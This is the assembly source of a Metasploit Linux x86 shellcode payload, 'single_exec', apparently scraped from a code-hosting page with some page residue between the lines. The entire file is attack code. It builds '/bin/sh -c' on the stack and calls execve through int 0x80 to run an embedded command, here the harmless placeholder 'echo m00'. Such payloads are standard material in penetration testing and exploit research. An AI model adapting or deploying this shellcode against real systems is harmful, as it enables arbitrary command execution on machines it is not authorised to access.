45 lines
681 B
NASM
45 lines
681 B
NASM
;;
|
|
;
|
|
; Name: single_exec
|
|
; Platforms: Linux
|
|
; Authors: vlad902 <vlad902 [at] gmail.com>
|
|
; Version: $Revision: 1466 $
|
|
; License:
|
|
;
|
|
; This file is part of the Metasploit Exploit Framework
|
|
; and is subject to the same licenses and copyrights as
|
|
; the rest of this package.
|
|
;
|
|
; Description:
|
|
;
|
|
; Execute an arbitary command.
|
|
;
|
|
;;
|
|
; NULLs are fair game people.
|
|
|
|
BITS 32
|
|
global _start
|
|
|
|
_start:
|
|
push byte 0xb
|
|
pop eax
|
|
cdq
|
|
|
|
push edx
|
|
push word 0x632d
|
|
mov edi, esp
|
|
|
|
push dword 0x0068732f
|
|
push dword 0x6e69622f
|
|
mov ebx, esp
|
|
|
|
push edx
|
|
call getstr
|
|
db "echo m00", 0x00
|
|
getstr:
|
|
push edi
|
|
push ebx
|
|
mov ecx, esp
|
|
int 0x80
|
|
|